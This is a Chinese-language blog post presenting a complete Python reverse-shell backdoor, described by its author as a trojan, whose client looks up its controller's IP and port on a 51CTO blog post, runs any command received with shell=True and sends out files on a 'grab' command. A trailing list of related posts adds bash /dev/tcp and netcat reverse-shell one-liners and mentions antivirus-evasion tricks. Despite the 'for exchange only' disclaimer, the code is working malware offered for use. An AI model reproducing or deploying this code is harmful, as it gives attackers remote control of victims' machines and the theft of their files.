Python 反弹shell后门用51CTO Blog绑定

前言:仅做交流,仅做交流。

除了51CTO当然也可以用其他的媒介啦,比如微博,微信等。这里就用51CTO吧

思路:存在这样的一个情况,我们在某台机器上放置一个木马~~~里面我们会写入自己服务端的IP,但是可能我们的IP会变,我们当然可以用域名解决这个问题,不过那样显得不是很优雅,而且域名要钱的啦~~~所以我们需要一个中间件!

在说说什么是反弹Shell,反弹shell的好处在于被攻击的主机可能限制了进口,即只允许某个端口的链接,其他链接都屏蔽,这个时候我们就需要被攻击的主机主动来连我们的服务器,我们的服务器只要监听某个端口,等着被攻击的主机来连即可。

实现原理:

目标主机访问51CTO网站,获取需要连接的服务器IP及端口。

怎么实现呢?

注:因为是教育目的性质,所以这里不会涉及什么更高级的功能,更高级的我也不会,这里就只是说明简单的TCP CLient,TCP Server端

首先创建一个简单的TCP服务端,用来监听连接过来的TCP CLient

#coding:utf-8
import socket
def connect():
    ###初始socket对象
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    ###绑定IP跟端口
    s.bind(("IP",PORT))
    ###允许一个连接,自行设定
    s.listen(1)
    
    ###调用accept方法,开始监听
    conn,addr = s.accept()
    ###输出client的连接信息,返回结果是一个ip加端口的元组
    print "---> we got a connection from: ",addr
    ###循化用于接收发送的命令
    while True:
        command = raw_input("shell>")
        ###如果命令中用exit关键词则关闭连接
        if "exit" in command:
            conn.send("exit")
            conn.close()
            break
        else:
            conn.send(command)
            print conn.recv(1024)
def main():
    connect()
if __name__ == ‘__main__‘:
    main()

然后我们创建TCP客户端,用来连接TCP 服务端

import socket
import subprocess
import os
host = "服务端IP"
port = 服务端PORT
def connect(host,port):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    while True:
        command = s.recv(1024)
        if "exit" in command:
            s.close()
            break
        else:
            ###将服务端发送过来的命令通过subprocess执行
            CMD = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
            ###返回标注输出,错误等
            s.send(CMD.stdout.read())
            s.send(CMD.stderr.read())
def main():
    connect(host,port)
if __name__ == ‘__main__‘:
    main()

因为没有判断连接不上服务端的情况,所以我们得先运行服务端,然后运行客户端,运行结果如下

至此,第一步完成了。

现在我们需要将服务端的IP及端口放到51CTO Blog上。

现在创建一篇如上图所示的博文。

然后用requests,beautifulSoup这两个库来获取我们想要的信息

import requests

import json

from bs4 import BeautifulSoup

url = "http://youerning.blog.51cto.com/"

在获取之前简单踩个点。

通过Chrom的调试模式,我们找到这段内容所对应的内容,比如div,class之类的,如上图所示我们找到的class="artContent mt10",这就是我们想要的信息,当然了,怎么用beautifulSoup筛选出我们需要的信息有很多种方法,这就就不一样说明了。

def getHost(url):

ret = requests.get(url).content

soup = BeautifulSoup(ret,"html.parser")

for i in soup.find_all("div",class_="artContent mt10"):

if i.string.startswith(" {"):

ret = str(i.string)

ret = json.loads(ret)

return ret["host"],ret["port"]

print getHost(url)

运行结果如下

至此,第二部也完成了,完整代码如下

客户端py文件

import socket
import subprocess
import os
import requests
import json
from bs4 import BeautifulSoup
url = "http://youerning.blog.51cto.com/"
def transfer(s,path):
    if os.path.exists(path):
        f = open(path,"rb")
        packet = f.read(1024)
        while packet != "":
            s.send(packet)
            packet = f.read(1024)
        s.send("Done")
        f.close()
def getHost(url):
    ret = requests.get(url).content
    soup = BeautifulSoup(ret,"html.parser")
    for i in soup.find_all("div",class_="artContent mt10"):
        if i.string.startswith(" {"):
            ret = str(i.string)
    ret = json.loads(ret)
    return ret["host"],ret["port"]
def connect(host,port):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    while True:
        command = s.recv(1024)
        if "exit" in command:
            s.close()
            break
        elif "grab" in command:
            grab,path = command.split("*")
            try:
                transfer(s,path)
            except Exception,e:
                s.send(str(e))
                pass
        else:
            CMD = subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stderr.read())
def main():
    host,port =  getHost(url)
    connect(host,port)
main()

服务端py文件

#coding:utf-8
import socket
IP = "你的IP"
PORT = 绑定的端口
def transfer(conn,command):
    conn.send(command)
    f = open("text.text","wb")
    while True:
        bits = conn.recv(1024)
        if "Unable to find out the file" in bits:
            print "---- Unbale to"
            break
        if bits.endswith("Done"):
            print "Done"
            f.close()
            break
        f.write(bits)
    f.close()
def connect():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(("IP",PORT))
    s.listen(1)
    conn,addr = s.accept()
    print "---> we got a connection from: ",addr
    while True:
        command = raw_input("shell>")
        if "exit" in command:
            conn.send("exit")
            conn.close()
            break
        elif "grab" in command:
            transfer(conn,command)
        else:
            conn.send(command)
            print conn.recv(1024)
def main():
    connect()
main()

后记:其实最后这两个完整的Python脚本,加了一个transfer函数,用于传输文件,算是一个彩蛋吧,虽然我不知道彩蛋是什么意思,不过还有很多功能可以加,比如查找文件,提权什么的。

时间: 2024-10-11 03:31:14

Python 反弹shell后门用51CTO Blog绑定的相关文章

python 反弹shell

来源:https://github.com/dairoot/Shell-rebound/blob/master/back.pysec.net/nc.py # -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team """ import sys,os,s

反弹shell利用方式

反弹shell 1.bash反弹 攻击机监听端口 netcat: nc -nvlp 4444 -n:  不反向解析dns,即不通过ip解析域名 no dns -v:  详细信息输出 verbose -l:   监听 listen -p: 指定端口 port 靶机执行shell命令 bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1 bash -i:交互式shell >& :输入输出重定向:0 stdin, 1 stdout, 2 stde

Linux 反弹 Shell

攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动. 同时,nc又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能.渗透测试中,linux主机一般自带nc,Windows主机需要自行上传. 姿势一

分享一个免杀的反弹shell工具(python脚本转换成exe)

有时候网站服务器上有杀毒软件,我们上传的nc.exe.lcx.exe等工具都被杀了,这时候就需要一款免杀的工具来反弹shell. 这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序即可免杀. 参考链接:https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1 第1步:安装Python2.7和Py2exe 一定要安装32位的Python 2.7和32位的P

python与shell通过微信企业号发送消息

python与shell通过微信企业号发送信息,脚本来源于网络,做好搬运工,哈哈,相应的参考链接放在末位 shell版本: #!/bin/bash # CropID="xxxx" Secret="xxxxxx" GURL="https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=$CropID&corpsecret=$Secret" Gtoken=$(/usr/bin/curl -s -G

redis未授权反弹shell

rt发现一处redis未授权,进行反弹shell.输入反弹命令:主机监听端口:反弹成功. 原文地址:https://blog.51cto.com/13539934/2395206

(转)python正向连接后门

python正向连接后门 PHITHON 2014 四月 12 00:12 阅读:16670 Python python, cmd后门, socket python在linux下的反弹shell代码我相信很多人都见过: import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("59.188.234.64",14575)) os.dup2(s.fileno(),0)

反弹shell方法总结

本机ip为10.10.10.11,监听端口443. Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > /dev/tcp/10.10.10.11/443 0<& 2>&1 exec 5<>/dev/tcp/10.10.10.11/443;cat &

Python3实现——反弹shell

一.演示一下反弹shell的效果 0.看一下python版本 1.我们这边是服务端 客户端连接后就可以输入命令了,比如下面截图中输入的pwd 2.目标机是客户端,输入ip和端口 二.代码+注释 0.服务端 1.客户端